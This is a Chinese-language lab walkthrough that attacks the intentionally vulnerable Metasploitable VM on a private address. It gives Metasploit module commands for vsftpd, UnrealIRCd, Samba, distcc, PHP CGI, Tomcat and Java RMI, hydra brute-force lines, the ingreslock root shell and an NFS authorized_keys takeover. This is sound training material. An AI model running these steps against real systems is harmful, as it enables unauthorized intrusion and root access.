一、简介

metasploitable是一个Ubuntu-Linux虚拟机,用于测试常见漏洞。本质上是一个盒子中的渗透测试实验室,提供了执行渗透测试和渗透研究的安全场所。

靶机下载地址

用户名是 :msfadmin 密码是: msfadmin

二、信息收集

nmap -sS 192.168.92.0/24

在这里插入图片描述
开放了好多端口

三、端口渗透

6667-UnreallRCd 后门漏洞

大致过程

  1. 在kali中执行msfconsole,启动metasploit
  2. search irc,选择模块
  3. use exploit/unix/irc/unreal_ircd_3281_backdoor,选择漏洞
  4. set rhosts 192.168.92.9 设置要攻击的机器ip
  5. run/exploit,开始攻击
  6. 利用成功,执行uname -a验证

登录msf search irc 找到对应得模块

search irc

在这里插入图片描述

use exploit/unix/irc/unreal_ircd_3281_backdoor进入对应模块
show options 查看配置
set 查看设置信息

rhost和rhosts都是靶机的ip,可以一样
lhost是攻击机的ip

在这里插入图片描述
设置主机名,进行漏洞利用,exploit攻击
在这里插入图片描述
失败了,需要payload,查看可以用的payload

show payloads

在这里插入图片描述
但是显示这个payload不可以用
在这里插入图片描述
失败

21-Vsftpd 源码包后门漏洞

大致过程

  1. 在kali中执行msfconsole,启动metasploit
  2. search vsftpd,选择模块
  3. use exploit/unix/ftp/vsftpd_234_backdoor ,选择漏洞
  4. set rhosts 192.168.92.9 设置要攻击的机器ip
  5. run/exploit,开始攻击
  6. 利用成功,执行uname -a验证

telnet协议是tcp/ip协议族中的一部分,是应用层上的一个协议。
使用telnet远程登录需要条件:在本地计算机必须安装有telnet协议的客户程序;必须知道远程主机的ip或者域名;必须知道口令和标识。
telnet使用明文传送,具有安全隐患,使用前要检查远端服务器是否允许了telnet服务的功能。

在这里插入图片描述

search vsftpd寻找和该服务相关的模块,选择exploit模块进行渗透,此时注意信息的描述来确定该模块能不能用,也可以使用info查看一下详细的信息。
在这里插入图片描述
use exploit/unix/ftp/vsftpd_234_backdoor进入该漏斗模块的环境

show payloads显示和该漏洞模块匹配的攻击载荷
在这里插入图片描述

有这句话[*] No payload configured, defaulting to cmd/unix/interact
这一步不用做set payloads cmd/unix/interact设置攻击载荷

show options查看需要配置的参数
在这里插入图片描述
可以看出主要设置RHOSTS参数即可,设置参数后exploit即可
在这里插入图片描述
结果
在这里插入图片描述

注意连接的端口6200

补充:VSFTPD v2.3.4 漏洞代码
运行在Unix系统的一个服务器的名称。
查看源代码:注意37.38两行,十六进制3a代表:,十六进制29代表)。如果输入用户名输入:)这两个字符。就去执行vsf_sysutil_extra();

在这里插入图片描述
vsf_sysutil_extra()的函数内容
注意代码的79.83.84.85.94行的内容。79创建了一个叫sa的网络地址,83.84.85对该网络地址进行设定。6200,端口进行监听。94行提供了一个shell,任何人可以访问。
在这里插入图片描述
按照以上过程进行手动利用代码
该服务运行在21端口
telnet 192.168.92.9 21
在这里插入图片描述

输入:在输入:),就会打开6200端口,密码随意
例如:
USER user:)
PASS pass 小写字母部分可以是任意字符

表示连接成功!之后,执行telnet 192.168.92.9 6200
注意:连接成功之后,输入的命令后面要有一个;

hydra 爆破

hydra -L 用户名路径 -P 密码路径 -vV -T task ip

23-telnet-弱密码

使用模块use auxiliary/scanner/telnet/telnet_login可以爆破出密码和用户名

telnet 192.168.92.9
账号:msfadmin
密码:msfadmin

22-ssh-弱密码

使用msf暴力破解

暴力破解密码
路径前面要有root,例如set PASS-FILE /root/desktop/password.txt

Search  ssh_login       搜索模块

Use  auxiliary/scanner/ssh/ssh_login    使用模块

Set  RHOST 192.168.92.9    设置目标地址

Set   USER_FILE  /root/0.txt   设置用户字典路径

Set   PASS_FILE  /root/0.txt   设置字典密码路径

Set   THREADS   100   设置线程是100

Run  开跑
ssh msfadmin@192.168.92.9

SSH 全称Secure Shell
,是建立在应用层基础上的安全协议。SSH是比较可靠的专为远程登录会话和其他网络服务提供安全的协议,可以有效防止远程管理过程中的信息泄露问题。
SSH可以对我们传输的数据进行加密,而且传输的数据是经过压缩的,可以提升传输的速度。这样可以防止中间人攻击,(这是有别于ftp,telnet的一点。)而且也能够防止DNS欺骗和IP欺骗。SSH有很多功能,它既可以代替Telnet,又可以为FTP、PoP、甚至为PPP提供一个安全的"通道"

3306-mysql-弱密码

使用模块:use auxiliary/scanner/mysql/mysql_login
账号root密码为空然后

mysql -h ip

这个mysql没有密码,如果有的话,可以选择爆破

5423-postgresql-弱密码

爆破出密码(我是建立在知道密码进行破解的)

hydra -l postgres -p postgres -vV -T 3 postgres://192.168.92.9

l小写是指定的用户名,L大写是文件路径,p和P同理

在这里插入图片描述

psql -h ip -U 用户名
psql -h 192.168.92.9 -U postgres
密码:postgres

在这里插入图片描述

5900-VNC-弱密码

5900端口vnc服务,vnc服务有两部分构成,一部分是服务,一个是客户端,我们进行爆破

使用模块爆破:use auxiliary/scanner/vnc/vnc_login

执行 vncviewer ip
密码 password

在这里插入图片描述

在这里插入图片描述

补充VNC:
VNC “Virtual Network Console”虚拟网络控制台,远程控制工具软件,是基于 UNIX 和 Linux 操作系统的免费的开源软件,在 Linux 中,VNC 包括以下四个命令:vncserver,vncviewer,vncpasswd,和 vncconnect。大多数情况下用户只需要其中的两个命令:vncserver 和 vncviewer。

vncserver
此服务程序必须在在主(或遥控)计算机上运行。你只能作为使用者(不需要根用户身份)使用此项服务。

vncviewer
本地应用程序,用于远程接入运行vncserver的计算机并显示其环境。你需要知道远程计算机的IP地址和vncserver设定的密码。

vncpasswd
vncserver的密码设置工具。vncserver服务程序没有设置密码将不能运行(好习惯)。如果你没有设置,运行vncserver时它会提示你输入一个密码。所以,一般我不会单独运行这个命令来设置密码。

vncconnect
告诉vncserver连接到远程一个运行vncviewer的计算机的IP和端口号。这样我就可以避免给其他人一个接入的密码。

Xvnc
一个vnc“主控”程序,一般来说不需要直接运行。(vncserver和vncviewer实际上是Xvnc的脚本)

查找所有可用的选项,运行:
Xvnc --help
出于安全的考虑,一般不建议直接以超级用户帐号运行vncserver程序。如果你需要超级用户的环境,请以一般用户登录后再使用su命令登录到超级用户帐号。

139/445-Samba MS-RPC Shell命令注入漏洞

大致过程

  1. 在kali中执行msfconsole,启动metasploit
  2. search samba,选择模块
  3. use exploit/unix/misc/distcc_exec
    use auxiliary/admin/smb/samba_symlink_traversal
    use exploit/multi/samba/usermap_script,选择漏洞
  4. set rhosts 192.168.92.9 设置要攻击的机器ip
  5. run/exploit,开始攻击
  6. 利用成功,执行uname -a验证
search samba
use exploit/unix/misc/distcc_exec
use exploit/multi/samba/usermap_script
use auxiliary/admin/smb/samba_symlink_traversal
上面三个都可以

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以使用id查看一下信息,是root权限
在这里插入图片描述

补充Samba:在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages
Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS
over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

1099-Java RMI SERVER 命令执行漏洞

1099端口是一个Java反序列化命令执行漏洞
Java RMI Serve 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

  1. 在kali中执行msfconsole,启动metasploit
  2. search rmiregistry,寻找服务
  3. use exploit/multi/misc/java_rmi_server,选择漏洞
  4. set rhosts 192.168.92.9设置要攻击的机器IP
  5. run,开始攻击
  6. 利用成功,得到 meterpreter shell

在这里插入图片描述
失败了

3632-Distcc 后门漏洞

Distcc 用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是 xcode1.5 版本及其他版本的 distcc2.x 版本配置对于服务器端口的访问不限制。

  1. 在kali 中执行msfconsole,启动metasploit
  2. search distcc_exec
  3. msf>use exploit/unix/misc/distcc_exec选择漏洞
  4. set RHOST 192.168.92.9 设置要攻击的机器IP
  5. run,开始攻击
  6. 利用成功,执行id查看权限,uname -a验证服务器信息

在这里插入图片描述

80-PHP CGI 参数注入执行漏洞

CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
访问一下phpinfo().php 发现了一个2012年的漏洞

server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入
在这里插入图片描述

  1. 在kali中执行msfconsole,启动metasploit
  2. msf>use exploit/multi/http/php_cgi_arg_injection 选择漏洞
  3. set RHOST 192.168.92.9 设置要攻击的机器lP
  4. run,开始攻击
  5. meterpreter> sysinfo
  6. meterpreter>getuid

在这里插入图片描述
在这里插入图片描述

1524-Ingreslock 后门漏洞

Ingreslock 后门程序监听在1524端口,连接到1524端口就可以直接获得root权限

在少数服务器上存在一个古老的令人惊讶的“ingreslock”后门,监听1524端口。在过去的十年里,它经常被用于入侵一个暴露的服务器。

  1. 在kali中执行命令行 telnet 192.168.92.9 1524
  2. 获得 root 权限
  3. 执行uname -a验证

在这里插入图片描述

512/513/514-Rlogin 后门漏洞

TCP端口512,513和514为著名的rlogin 提供服务。
在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts++)。
要利用这个配置,确保rsh客户端已经安装(在linux操作系统上安装例如Open SSH),然后以root权限运行下列命令,如果被提示需要一个SSH秘钥,这表示rsh 客户端没有安装,ubuntu一般默认使用SSH(Debian GNU/Linux也是如此)。

8180-Apache Tomcat弱口令

  1. 在kali中执行msfconsole,启动metasploit
  2. search tomcat,寻找服务
  3. use auxiliary/scanner/http/tomcat_mgr_login,选择漏洞
  4. set rhosts 192.168.92.9设置要攻击的机器IP
  5. run,开始攻击
  6. 利用成功,得到 meterpreter shell

在终端中输入命令“nmap –sV 192.168.92.9”,对目标主机进行端口扫描,发现开放8180端口并且运行着ApacheTomcat/CoyoteJSP engine1.1。 在终端中输入命令“msfconsole”,启动MSF终端。 在终端下输入命令“search tomcat”,
搜索tomcat的相关工具和攻击载荷。 在终端输入“use auxiliary/scanner/http/tomcat_mgr_login”, 启用漏洞利用模块, 提示符就会提示进入到该路径下。
在终端下输入“set RHOSTS 192.168.92.9”,设置攻击目标主机IP。 在终端下输入“set RPORT 8180”,设置攻击目标主机端口号. 在终端下输入“exploit”, 实施攻击。获得用户名tomcat,密码tomcat

在终端下输入“use exploit/multi/http/tomcat_mgr_deploy”, 启用漏洞利用模块,
提示符就会提示进入到该路径下。 在终端下输入“set RHOST 192.168.92.9”,设置攻击的目标主机IP。
在终端下输入“set RPORT 8180”,设置攻击的目标主机端口号。 在终端下输入“set username tomcat”,设置攻击时使用的登录账号tomcat。 在终端下输入“set password tomcat”,设置攻击时使用的密码tomcat。 在终端下输入“exploit”,开始攻击,建立会话。
在终端下输入“getuid”,查看获取的用户权限。

在终端中输入命令“nmap –sV 192.168.92.9”,对目标主机进行端口扫描,发现开放8180端口并且运行着ApacheTomcat/CoyoteJSP engine1.1。
在这里插入图片描述
在终端下输入命令“search tomcat”, 搜索tomcat的相关工具和攻击载荷。
在终端输入“use auxiliary/scanner/http/tomcat_mgr_login”, 启用漏洞利用模块, 提示符就会提示进入到该路径下。

use auxiliary/scanner/http/tomcat_mgr_login”, 启用漏洞利用模块, 提示符就会提示进入到该路径下。
set RHOSTS 192.168.92.9”,设置攻击目标主机IP、
在这里插入图片描述
“set RPORT 8180”,设置攻击目标主机端口号
在终端下输入“exploit”, 实施攻击。获得用户名tomcat,密码tomcat。

使用use auxiliary/scanner/http/tomcat_mgr_login进行账户爆破
用默认自带的字典即可,如果用桌面上字典 则需要设置set PASS_FILE ‘root/Desktop/password.txt’
& set USER_FILE ‘root/Desktop/user.txt’

在这里插入图片描述

在这里插入图片描述
search tomcat

在这里插入图片描述
show options

在终端下输入“set RHOST 192.168.92.9”,设置攻击的目标主机IP。 在终端下输入“set RPORT
8180”,设置攻击的目标主机端口号。 在终端下输入“set HttpUsername
tomcat”,设置攻击时使用的登录账号tomcat。 在终端下输入“set HttpPassword
tomcat”,设置攻击时使用的密码tomcat。 在终端下输入“exploit”,开始攻击,建立会话。

注意:set参数时,要和name中的参数名一致
在这里插入图片描述
注意:先创建shell,才能输入linux命令
在这里插入图片描述

8787-drb服务,有个远程代码执行漏洞

使用模块:use exploit/linux/misc/drb_remote_codeexec

2049-Linux NFS共享目录配置漏洞

原理: NFS服务配置漏洞赋予了根目录远程可写权限,导致/root/.ssh/authorized_keys 可被修改,实现远程ssh无密码登录

在这里插入图片描述
输入ssh-keygen 生成RSA公钥
在这里插入图片描述
(1)mount –t nfs 192.168.92.9:/ /tmp/test(预先创建),把192.168.92.9的根目录挂载到/tmp/test/下;

(2)cat /root/.ssh/id_rsa.pub>>/tmp/test/root/.ssh/authorized_keys,把生成的公钥追加到靶机的authorized_keys下;

(3)ssh root@192.168.92.9,实现无密码登录

在这里插入图片描述

参考:

https://blog.csdn.net/weixin_39796878/article/details/117006520

https://blog.csdn.net/Aluxian_/article/details/123355133

https://www.cnblogs.com/xingyuner/p/12879772.html

https://blog.csdn.net/qq_43233085/article/details/104189510

https://blog.csdn.net/weixin_45018333/article/details/104841419

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐